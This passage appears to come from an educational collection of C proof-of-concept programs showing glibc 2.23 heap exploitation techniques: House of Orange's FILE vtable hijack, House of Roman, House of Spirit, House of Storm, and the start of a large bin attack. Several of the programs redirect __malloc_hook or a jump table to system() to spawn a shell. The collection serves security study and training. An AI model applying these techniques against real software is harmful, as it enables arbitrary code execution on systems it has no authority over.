SIZE_SZ\"\n      and finally triggering the abort call that gets our chain rolling.\n      Here is the corresponding code in the libc:\n      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717\n    */\n\n    top[1] = 0x61;\n\n    /*\n      Now comes the part where we satisfy the constraints on the fake file pointer\n      required by the function _IO_flush_all_lockp and tested here:\n      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813\n\n      We want to satisfy the first condition:\n      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n    */\n\n    FILE *fp = (FILE *) top;\n\n\n    /*\n      1. Set mode to 0: fp->_mode <= 0\n    */\n\n    fp->_mode = 0; // top+0xc0\n\n\n    /*\n      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base\n    */\n\n    fp->_IO_write_base = (char *) 2; // top+0x20\n    fp->_IO_write_ptr = (char *) 3; // top+0x28\n\n\n    /*\n      4) Finally set the jump table to controlled memory and place system there.\n      The jump table pointer is right after the FILE struct:\n      base_address+sizeof(FILE) = jump_table\n\n         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner\n    */\n\n    size_t *jump_table = &top[12]; // controlled memory\n    jump_table[3] = (size_t) &winner;\n    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8\n\n\n    /* Finally, trigger the whole chain by calling malloc */\n    malloc(10);\n\n   /*\n     The libc's error message will be printed to the screen\n     But you'll get a shell anyways.\n   */\n\n    return 0;\n}\n\nint winner(char *ptr)\n{ \n    system(ptr);\n    syscall(SYS_exit, 0);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_roman.c",
    "content": "#define _GNU_SOURCE     /* for RTLD_NEXT */\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n#include <malloc.h>\n#include <dlfcn.h>\n\nchar* shell = \"/bin/sh\\x00\";\n\n/* \nTechnique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.\n\nCompile: gcc -fPIE -pie house_of_roman.c -o house_of_roman\n\nPOC written by Maxwell Dulin (Strikeout) \n*/\n\n// Use this in order to turn off printf buffering (messes with heap alignment)\nvoid* init(){\n\tsetvbuf(stdout, NULL, _IONBF, 0);\n\tsetvbuf(stdin, NULL, _IONBF, 0);\n}\n\n\nint main(){\n\n\t/* \n\tThe main goal of this technique is to create a **leakless** heap \n\texploitation technique in order to get a shell. This is mainly \n\tdone using **relative overwrites** in order to get pointers in \n\tthe proper locations without knowing the exact value of the pointer.\n\n\tThe first step is to get a pointer inside of __malloc_hook. This \n\tis done by creating a fastbin bin that looks like the following: \n\tptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc\n\t (with a relative overwrite) to point to __malloc_hook. \n\t\t\t\n\tThe next step is to run an unsorted bin attack on the __malloc_hook \n\t(which is now controllable from the previous attack).  Again, we run \n\tthe unsorted_bin attack by altering the chunk->bk with a relative overwrite. \n\n\tFinally, after launching the unsorted_bin attack to put a libc value \n\tinside of __malloc_hook, we use another relative overwrite on the \n\tvalue of __malloc_hook to point to a one_gadget, system or some other function.\n\t\n\tNow, the next time we run malloc we pop a shell! :) \n\tHowever, this does come at a cost: 12 bits of randomness must be \n\tbrute forced (0.02% chance) of working.\n\n\tThe original write up for the *House of Roman* can be found at\n\t https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.\n\n\n\n\n\n\tThis technique requires the ability to edit fastbin and unsorted bin \n\tpointers via UAF or overflow of some kind. Additionally, good control \n\tover the allocations sizes and freeing is required for this technique.\n\t*/\n\n\tchar* introduction = \"\\nWelcome to the House of Roman\\n\\n\"\n\t\t\t     \"This is a heap exploitation technique that is LEAKLESS.\\n\"\n\t\t\t     \"There are three stages to the attack: \\n\\n\"\n\t\t\t     \"1. Point a fastbin chunk to __malloc_hook.\\n\"\n\t\t\t     \"2. Run the unsorted_bin attack on __malloc_hook.\\n\"\n\t\t\t     \"3. Relative overwrite on main_arena at __malloc_hook.\\n\\n\"\n\t\t\t     \"All of the stuff mentioned above is done using two main concepts:\\n\"\n                             \"relative overwrites and heap feng shui.\\n\\n\"\n\t\t\t     \"However, this technique comes at a cost:\\n\"\n                             \"12-bits of entropy need to be brute forced.\\n\"\n\t\t\t     \"That means this technique only work 1 out of every 4096 tries or 0.02%.\\n\"\n\t\t\t     \"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\\n\\n\\n\";\n\tputs(introduction);\t\n\tinit();\n\n\n\t/*\t\n\tPart 1: Fastbin Chunk points to __malloc_hook\n\n\tGetting the main_arena in a fastbin chunk ordering is the first step.\n\tThis requires a ton of heap feng shui in order to line this up properly. \n\tHowever, at a glance, it looks like the following:\n\n\tFirst, we need to get a chunk that is in the fastbin with a pointer to\n\ta heap chunk in the fd. \n\tSecond, we point this chunk to a pointer to LibC (in another heap chunk). \n\tAll of the setup below is in order to get the configuration mentioned \n\tabove setup to perform the relative overwrites. \";\n\n\n\tGetting the pointer to libC can be done in two ways: \n\t\t\t- A split from a chunk in the small/large/unsorted_bins \n\t\t\t\tgets allocated to a size of 0x70. \n\t\t\t- Overwrite the size of a small/large chunk used previously to 0x71.\n\n\tFor the sake of example, this uses the first option because it \n\trequires less vulnerabilities.\t\n\t*/\n\n\tputs(\"Step 1: Point fastbin chunk to __malloc_hook\\n\\n\");\n\tputs(\"Setting up chunks for relative overwrites with heap feng shui.\\n\");\n\n\t// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.\t\n\tuint8_t* fastbin_victim = malloc(0x60); \n\n\t// Allocate this in order to have good alignment for relative \n\t// offsets later (only want to overwrite a single byte to prevent \n\t// 4 bits of brute on the heap).\n\tmalloc(0x80);\n\n\t// Offset 0x100\n\tuint8_t* main_arena_use = malloc(0x80);\n\t\n\t// Offset 0x190\n\t// This ptr will be used for a relative offset on the 'main_arena_use' chunk\n\tuint8_t* relative_offset_heap = malloc(0x60);\n\t\n\t// Free the chunk to put it into the unsorted_bin. \n\t// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.\n\tfree(main_arena_use);\n\t\n\n\t/* \n\tGet part of the unsorted_bin chunk (the one that we just freed). \n\tWe want this chunk because the fd and bk of this chunk will \n\tcontain main_arena ptrs (used for relative overwrite later).\n\n\tThe size is particularly set at 0x60 to put this into the 0x70 fastbin later. \n\n\tThis has to be the same size because the __malloc_hook fake \n\tchunk (used later) uses the fastbin size of 0x7f. There is\n\t a security check (within malloc) that the size of the chunk matches the fastbin size.\n\t*/\n\n\tputs(\"Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\\n\");\n//Offset 0x100. Has main_arena + 0x68 in fd and bk.\n\tuint8_t* fake_libc_chunk = malloc(0x60);\n\n\t//// NOTE: This is NOT part of the exploit... \\\\\\\n\t// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. \n\tlong long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;\n\n\n\t// We need the filler because the overwrite below needs \n\t// to have a ptr in the fd slot in order to work. \n\t//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. \n\tfree(relative_offset_heap);\t\n\n    \t/* \n    \tCreate a UAF on the chunk. Recall that the chunk that fastbin_victim \n\tpoints to is currently at the offset 0x190 (heap_relative_offset).\n     \t*/\n\tfree(fastbin_victim);\n\n\t/*\n\n\tNow, we start doing the relative overwrites, since that we have \n\tthe pointers in their proper locations. The layout is very important to \n\tunderstand for this.\n\n\tCurrent heap layout: \n\t0x0:   fastbin_victim       - size 0x70 \n\t0x70:  alignment_filler     - size 0x90\n\t0x100: fake_libc_chunk      - size 0x70\n\t0x170: leftover_main        - size 0x20\n\t0x190: relative_offset_heap - size 0x70 \n\n\tbin layout: \n\t\t\tfastbin:  fastbin_victim -> relative_offset_heap\n\t\t\tunsorted: leftover_main\n\t\n\tNow, the relative overwriting begins:\n\tRecall that fastbin_victim points to relative_offset_heap \n\t(which is in the 0x100-0x200 offset range). The fastbin uses a singly \n\tlinked list, with the next chunk in the 'fd' slot.\n\n\tBy *partially* editing the fastbin_victim's last byte (from 0x90 \n\tto 0x00) we have moved the fd pointer of fastbin_victim to \n\tfake_libc_chunk (at offset 0x100).\n\n\tAlso, recall that fake_libc_chunk had previously been in the unsorted_bin. \n\tBecause of this, it has a fd pointer that points to main_arena + 0x68. \n\n\tNow, the fastbin looks like the following: \n\tfastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).\n\n\n\tThe relative overwrites (mentioned above) will be demonstrates step by step below.\n\t\n\t*/\n\n\n\tputs(\"\\\nOverwrite the first byte of a heap chunk in order to point the fastbin chunk\\n\\\nto the chunk with the LibC address\\n\");\n\tputs(\"\\\nFastbin 0x70 now looks like this:\\n\\\nheap_addr -> heap_addr2 -> LibC_main_arena\\n\");\n\tfastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.\n\t\n\n\t/*\n\tNow, we have a fastbin that looks like the following: \n\t\t\t0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)\n\t\n\tWe want the fd ptr in fake_libc_chunk to point to something useful. \n\tSo, let's edit this to point to the location of the __malloc_hook. \n\tThis way, we can get control of a function ptr.\n\n\tTo do this, we need a valid malloc size. Within the __memalign_hook \n\tis usually an address that usually starts with 0x7f. \n\tBecause __memalign_hook value is right before this are all 0s, \n\twe could use a misaligned chunk to get this to work as a valid size in \n\tthe 0x70 fastbin.\n\n\tThis is where the first 4 bits of randomness come into play. \n\tThe first 12 bits of the LibC address are deterministic for the address. \n\tHowever, the next 4 (for a total of 2 bytes) are not. \n\t\n\tSo, we have to brute force 2^4 different possibilities (16) \n\tin order to get this in the correct location. This 'location' \n\tis different for each version of GLibC (should be noted).\n\n\tAfter doing this relative overwrite, the fastbin looks like the following:\n\t\t\t0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).\n\n\t*/\n\t\n\t/* \n\tRelatively overwrite the main_arena pointer to point to a valid \n\tchunk close to __malloc_hook.\n\n\t///// NOTE: In order to make this exploit consistent \n\t(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\\\\\n\n\tIn the actual attack, this values would need to be specific \n\tto a version and some of the bits would have to be brute forced \n\t(depending on the bits).\n\t*/ \n\nputs(\"\\\nUse a relative overwrite on the main_arena pointer in the fastbin.\\n\\\nPoint this close to __malloc_hook in order to create a fake fastbin chunk\\n\");\n\tlong long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.\n\n\t// The relative overwrite\n\tint8_t byte1 = (__malloc_hook_adjust) & 0xff; \t\n\tint8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; \n\tfake_libc_chunk[0] = byte1; // Least significant bytes of the address.\n\tfake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.\n\n\t// Two filler chunks prior to the __malloc_hook chunk in the fastbin. \n\t// These are fastbin_victim and fake_libc_chunk.\n\tputs(\"Get the fake chunk pointing close to __malloc_hook\\n\");\n\tputs(\"\\\nIn a real exploit, this would fail 15/16 times\\n\\\nbecause of the final half byet of the malloc_hook being random\\n\");\t\n\tmalloc(0x60);\n\tmalloc(0x60);\n\n\t// If the 4 bit brute force did not work, this will crash because \n\t// of the chunk size not matching the bin for the chunk. \n\t// Otherwise, the next step of the attack can begin.\n\tuint8_t* malloc_hook_chunk = malloc(0x60);\t\n\n\tputs(\"Passed step 1 =)\\n\\n\\n\");\n\n\t/*\n\tPart 2: Unsorted_bin attack \n\n\tNow, we have control over the location of the __malloc_hook. \n\tHowever, we do not know the address of LibC still. So, we cannot \n\tdo much with this attack. In order to pop a shell, we need \n\tto get an address at the location of the __malloc_hook.\n\n\tWe will use the unsorted_bin attack in order to change the value \n\tof the __malloc_hook with the address of main_arena + 0x68. \n\tFor more information on the unsorted_bin attack, review \n\thttps://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.\n\n\tFor a brief overview, the unsorted_bin attack allows us to write\n\tmain_arena + 0x68 to any location by altering the chunk->bk of\n\tan unsorted_bin chunk. We will choose to write this to the \n\tlocation of __malloc_hook.\n\n\tAfter we overwrite __malloc_hook with the main_arena, we will \n\tedit the pointer (with a relative overwrite) to point to a \n\tone_gadget for immediate code execution.\n\t\t\t\n\tAgain, this relative overwrite works well but requires an additional \n\t1 byte (8 bits) of brute force.\n\tThis brings the chances of a successful attempt up to 12 bits of \n\trandomness. This has about a 1/4096 or a 0.0244% chance of working.\n\n\t\n\tThe steps for phase two of the attack are explained as we go below.\n\t*/\n\n\tputs(\"\\\nStart Step 2: Unsorted_bin attack\\n\\n\\\nThe unsorted bin attack gives us the ability to write a\\n\\\nlarge value to ANY location. But, we do not control the value\\n\\\nThis value is always main_arena + 0x68. \\n\\\nWe point the unsorted_bin attack to __malloc_hook for a \\n\\\nrelative overwrite later.\\n\");\n\n\n\t// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.\n\t\n\tuint8_t* unsorted_bin_ptr = malloc(0x80);\t\n\tmalloc(0x30); // Don't want to consolidate\n\n\tputs(\"Put chunk into unsorted_bin\\n\");\n\t// Free the chunk to create the UAF\n\tfree(unsorted_bin_ptr);\n\n\t/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\\\\ \n\t However, for the sake of example, this has been calculated dynamically. \n\t*/\n\t__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.\n\tbyte1 = (__malloc_hook_adjust) & 0xff; \t\n\tbyte2 = (__malloc_hook_adjust & 0xff00) >> 8; \n\n\n\t// Use another relative offset to overwrite the ptr of the chunk->bk pointer.\n\t// From the previous brute force (4 bits from before) we \n\t// know where the location of this is at. It is 5 bytes away from __malloc_hook.\n\tputs(\"Overwrite last two bytes of the chunk to point to __malloc_hook\\n\");\n\tunsorted_bin_ptr[8] = byte1; // Byte 0 of bk. \t\n\n\t// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///\n\tunsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.\n\t\n\t/* \n\tTrigger the unsorted bin attack.\n\tThis will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.\n\n\tA few things do happen though: \n\t\t- This makes the unsorted bin (hence, small and large too) \n\t\t   unusable. So, only allocations previously in the fastbin can only be used now.\n\t\t- If the same size chunk (the unsorted_bin attack chunk) \n\t\t   is NOT malloc'ed, the program will crash immediately afterwards. \n\t\t   So, the allocation request must be the same as the unsorted_bin chunk.\n\n\n\tThe first point is totally fine (in this attack). But, in more complicated \n\tprogramming, this can be an issue.\n\tThe second just requires us to do the same size allocaton as the current chunk.\n\n\t*/\n\n\tputs(\"Trigger the unsorted_bin attack\\n\");\n\tmalloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68\n\n\tlong long system_addr = (long long)dlsym(RTLD_NEXT, \"system\");\n\n\tputs(\"Passed step 2 =)\\n\\n\\n\");\n\t/* \n\tStep 3: Set __malloc_hook to system\n\t\n\tThe chunk itself is allocated 19 bytes away from __malloc_hook. \n\tSo, we use a realtive overwrite (again) in order to partially overwrite \n\tthe main_arena pointer (from unsorted_bin attack) to point to system.\n\n\tIn a real attack, the first 12 bits are static (per version). \n\tBut, after that, the next 12 bits must be brute forced. \n\n\t/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\\\\\n\t*/ \n\n\tputs(\"Step 3: Set __malloc_hook to system/one_gadget\\n\\n\");\n\tputs(\"\\\nNow that we have a pointer to LibC inside of __malloc_hook (from step 2), \\n\\\nwe can use a relative overwrite to point this to system or a one_gadget.\\n\\\nNote: In a real attack, this would be where the last 8 bits of brute forcing\\n\\\ncomes from.\\n\");\n\tmalloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).\n\n\tmalloc_hook_chunk[20] = (system_addr >> 8) & 0xff;  // The last 4 bits of this must be brute forced (done previously already).\n\tmalloc_hook_chunk[21] = (system_addr >> 16) & 0xff;  // The last byte is the remaining 8 bits that must be brute forced.\n\tmalloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.\n\n\n\t// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.\n\t// In a real example, you would probably want to use a one_gadget. \n\t// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter\n\t// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak. \n\t// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.\n\tputs(\"Pop Shell!\");\n\tmalloc((long long)shell);\n\t\t\n}\n\n"
  },
  {
    "path": "glibc_2.23/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates the house of spirit attack.\\n\");\n\n\tfprintf(stderr, \"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tfprintf(stderr, \"We will now overwrite a pointer to point to a fake 'fastbin' region.\\n\");\n\tunsigned long long *a;\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tunsigned long long fake_chunks[10] __attribute__ ((aligned (16)));\n\n\tfprintf(stderr, \"This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\\n\", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);\n\n\tfprintf(stderr, \"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tfprintf(stderr, \"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tfprintf(stderr, \"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tfprintf(stderr, \"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tfprintf(stderr, \"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\ta = &fake_chunks[2];\n\n\tfprintf(stderr, \"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tfprintf(stderr, \"malloc(0x30): %p\\n\", malloc(0x30));\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_storm.c",
    "content": "/*\n\nPOC for House of Storm on 2.23\n\nFor 2.26-2.28, the tcache will need to \nbe full for this to work. After this, \na patch to the unsorted bin attack likely prevents this \ntechnique from working. \n\nThis technique uses a combination of editing\nthe unsorted bin chunk and the large bin chunks\nto write a 'size' to a user choosen address in memory.\n\nOnce this has occurred, if the size at this 'fake' \nlocation is the same size as the allocation, \nthen the chunk will be returned back to the user. \n\nThis attack allows arbitrary chunks to be returned\nto the user!\n\nWritten by Maxwell \"Strikeout\" Dulin\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nchar filler[0x10];\nchar target[0x60]; \n\nvoid init(){\n        setvbuf(stdout, NULL, _IONBF, 0);\n        setvbuf(stdin, NULL, _IONBF, 0);\n        // clearenv();\n}\n\n// Get the AMOUNT to shift over for size and the offset on the largebin.\n// Needs to be a valid minimum sized chunk in order to work.\nint get_shift_amount(char* pointer){\n\n        int shift_amount = 0;\n        long long ptr = (long long)pointer;\n\n        while(ptr > 0x20){\n                ptr = ptr >> 8;\n                shift_amount += 1;\n        }\n\n        return shift_amount - 1; // Want amount PRIOR to this being zeroed out\n}\n\nint main(){\n\n\tinit();\n\n\tchar *unsorted_bin, *large_bin, *fake_chunk, *ptr;\n\n\tputs(\"House of Storm\"); \n\tputs(\"======================================\"); \n\tputs(\"Preparing chunks for the exploit\");\n\tputs(\"Put one chunk into unsorted bin and the other into the large bin\");\n\tputs(\"The unsorted bin chunk MUST be larger than the large bin chunk.\");\n\t/*\n\tPutting a chunk into the unsorted bin and another\n\tinto the large bin.\n\t*/\n\tunsorted_bin = malloc ( 0x4e8 );  // size 0x4f0 \n\n\t// prevent merging \n\tmalloc ( 0x18 ); \n\n\tputs(\"Find the proper chunk size to allocate.\");\n\tputs(\"Must be exactly the size of the written chunk from above.\");\n\t/* \n\tFind the proper size to allocate\n\tWe are using the first 'X' bytes of the heap to act \n\tas the 'size' of a chunk. Then, we need to allocate a \n\tchunk exactly this size for the attack to work. \n\n\tSo, in order to do this, we have to take the higher\n\tbits of the heap address and allocate a chunk of this\n\tsize, which comes from the upper bytes of the heap address.\n\n\tNOTE: \n\t- This does have a 1/2 chance of failing. If the 4th bit \n\tof this value is set, then the size comparison will fail.\n\t- Without this calculation, this COULD be brute forced.\n\t*/\n\tint shift_amount = get_shift_amount(unsorted_bin);\n        printf(\"Shift Amount: %d\\n\", shift_amount);\n\n        size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);\n        if(alloc_size < 0x10){\n                printf(\"Chunk Size: 0x%lx\\n\", alloc_size);\n                puts(\"Chunk size is too small\");\n                exit(1);\n        }\n        alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits\n        printf(\"In this case, the chunk size is 0x%lx\\n\", alloc_size);\n\n\n\t// Checks to see if the program will crash or not\n        /*\n        The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. \n\n        Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438\n        validates to see if ONE of the following cases is true: \n        - av == arena_for_chunk (mem2chunk (mem))\n        - chunk is mmaped\n\n        If the 'non-main arena' bit is set on the chunk, then the \n        first case will fail. \n        If the mmap bit is set, then this will pass. \n        \n        So, either the arenas need to match up (our fake chunk is in the \n        .bss section for this demo. So, clearly, this will not happen) OR\n        the mmap bit must be set.\n\n        The logic below validates that the fourth bit of the size\n        is NOT set and that either the mmap bit is set or the non-main \n        arena bit is NOT set. If this is the case, the exploit should work.\n        */\n        if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){\n                puts(\"Allocation size has bit 4 of the size set or \");\n                puts(\"mmap and non-main arena bit check will fail\");\n                puts(\"Please try again! :)\");\n                puts(\"Exiting...\");\n                return 1;\n\n\t}\n\n\tlarge_bin  =  malloc ( 0x4d8 );  // size 0x4e0 \n\t// prevent merging \n\tmalloc ( 0x18 );\n\n\t// FIFO \n\tfree ( large_bin );  // put small chunks first \n\tfree ( unsorted_bin );\n\n\t// Put the 'large bin' chunk into the large bin\n\tunsorted_bin = malloc(0x4e8);\n\tfree(unsorted_bin);\n\n\t/*\n\tAt this point, there is a single chunk in the \n\tlarge bin and a single chunk in the unsorted bin. \n\tIt should be noted that the unsorted bin chunk \n\tshould be LARGER in size than the large bin chunk\n\tbut should still be within the same bin.\n\n\tIn this setup, the large_bin has a chunk\n\tof size 0x4e0 and the unsorted bin \n\thas a chunk of size 0x4f0. This technique relies on\n\tthe unsorted bin chunk being added to the same bin\n\tbut a larger chunk size. So, careful heap feng shui \n\tmust be done.\n\t*/\n\n\t// The address that we want to write to!\n\tfake_chunk = target - 0x10;\n\n\tputs(\"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\\n This is our target location to get from the allocator\"); \n\t\n\t/*\n\tThe address of our fake chunk is set to the unsorted bin \n\tchunks 'bk' pointer. \n\n\tThis launches the 'unsorted_bin' attack but it is NOT the\n\tmain purpose of us doing this.\n\n\tAfter launching the 'unsorted_bin attack' the 'victim' pointer\n\twill be set to THIS address. Our goal is to find a way to get\n\tthis address from the allocator.\n\n\tVulnerability!!\n\t*/\n\t((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk\n\n\t// Only needs to be a valid address. \n\t(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ;  // large_bin->fd\n\n\tputs(\"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location\");\n\tputs(\"of your fake chunk.\"); \n\tputs(\"Misalign the location in order to use the primitive as a SIZE value.\"); \n\tputs(\"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).\");\n\tputs(\"Vulnerability #2!\");\n\tputs(\"Overwrite large bins bk->nextsize with the address to put our fake chunk size at.\");\n\t/* \n\tThis can be seen as a WRITE-WHERE primitive in the large bin.\n\tHowever, we are going to write a 'size' for our fake chunk using this. \n\n\tSo, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579\n\tto an address for our fake size. The write above (bk_nextsize) is\n\tcontrolled via the pointer we are going to overwrite below. The\n\tvalue that gets written is a heap address; the unsorted bin \n\tchunk address above. \n\n\tThe 'key' to this is the offset. First, we subtract 0x18 because\n\tthis is the offset to writting to fd_nextsize in the code shown \n\tabove. Secondly, notice the -2 below. We are going\n\tto write a 'heap address' at a mis-aligned location and\n\tuse THIS as the size. For instance, if the heap address is 0x123456\n\tand the pointer is set to 0x60006. This will write the following way:\n\t- 0x60006: 0x56\n\t- 0x60007: 0x34\n\t- 0x60008: 0x12\n\n\tNow, our 'fake size' is at 0x60008 and is a valid size for the \n\tfake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk\n\tfrom the allocator. \n\n\tSecond vulnerability!!!\n\t*/\n\t(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize\n\n\n\t/*\n\tAt this point, we've corrupted everything in just the right \n\tway so this should work. \n\n\tThe purpose of the attack is to have a corrupted 'bk' pointer\n\tpoint to ANYWHERE we want and still get the memory back. We do\n\tthis by using the large bin code to write a size to the 'bk' \n\tlocation.\n\n\tThis call to malloc (if you're lucky), will return a pointer\n\tto the fake chunk that we created above. \n\t*/\n\n\n\tputs(\"Make allocation of the size that the value will be written for.\");\n\tputs(\"Once the allocation happens, the madness begins\"); \n\tputs(\"Once in the unsorted bin, the 'large bin' chunk will be used in orer to \"); \n\tputs(\"write a fake 'size' value to the location of our target.\"); \n\tputs(\"After this, the target will have a valid size.\"); \n\tputs(\"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid\"); \n\tputs(\"size and remove it from the bin.\");\n\tputs(\"With this, we have pulled out an arbitrary chunk!\");\n\n\tprintf(\"String before: %s\\n\", target);\n\tprintf(\"String pointer: %p\\n\", target);\n\t\n\tptr = malloc(alloc_size);\n\tstrncpy(ptr, \"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\", 0x58 - 1);\n\t\n\tprintf(\"String after %s\\n\", target);\n\tprintf(\"Fake chunk ptr: %p\\n\", ptr);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.23/large_bin_attack.c",
    "content": "/*\n\n    This technique is taken from\n    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\n\n    [...]\n\n              else\n              {\n                  victim->fd_nextsize = fwd;\n                  victim->bk_nextsize = fwd->bk_nextsize;\n                  fwd->bk_nextsize = victim;\n                  victim->bk_nextsize->fd_nextsize = victim;\n              }\n              bck = fwd->bk;\n\n    [...]\n\n    mark_bin (av, victim_index);\n    victim->bk = bck;\n    victim->fd = fwd;\n    fwd->bk = victim;\n    bck->fd = victim;\n\n    For more details on how large-bins are handled and sorted by ptmalloc,\n    please check the Background section in the aforementioned link.\n\n    [...]\n\n */\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n \nint main()\n{\n    fprintf(stderr, \"This file demonstrates large bin attack by writing a large unsigned long value into stack\\n\");\n    fprintf(stderr, \"In practice, large bin attack is generally prepared for further attacks, such as rewriting the \"\n           \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n\n    unsigned long stack_var1 = 0;\n    unsigned long stack_var2 = 0;\n\n    fprintf(stderr, \"Let's first look at the targets we want to rewrite on stack:\\n\");\n    fprintf(stderr, \"stack_var1 (%p): %ld\\n\", &stack_var1, stack_var1);\n    fprintf(stderr, \"stack_var2 (%p): %ld\\n\\n\", &stack_var2, stack_var2);\n\n    unsigned long *p1 = malloc(0x420);\n    fprintf(stderr, \"Now, we allocate the first large chunk on the heap at: %p\\n\", p1 - 2);\n\n    fprintf(stderr, \"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with\"\n           \" the first large chunk during the free()\\n\\n\");\n    malloc(0x20);\n\n    unsigned long *p2 = malloc(0x500);\n    fprintf(stderr, \"Then, we allocate the second large chunk on the heap at: %p\\n\", p2 - 2);\n\n    fprintf(stderr, \"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with\"\n           \" the second large chunk during the free()\\n\\n\");\n    malloc(0x20);\n\n    unsigned long *p3 = malloc(0x500);\n    fprintf(stderr, \"Finally, we allocate the third large chunk on the heap at: %p\\n\", p3 - 2);\n \n    fprintf(stderr, \"And allocate another fastbin chunk in order to avoid consolidating the top chunk with\"\n           \" the third large chunk during the 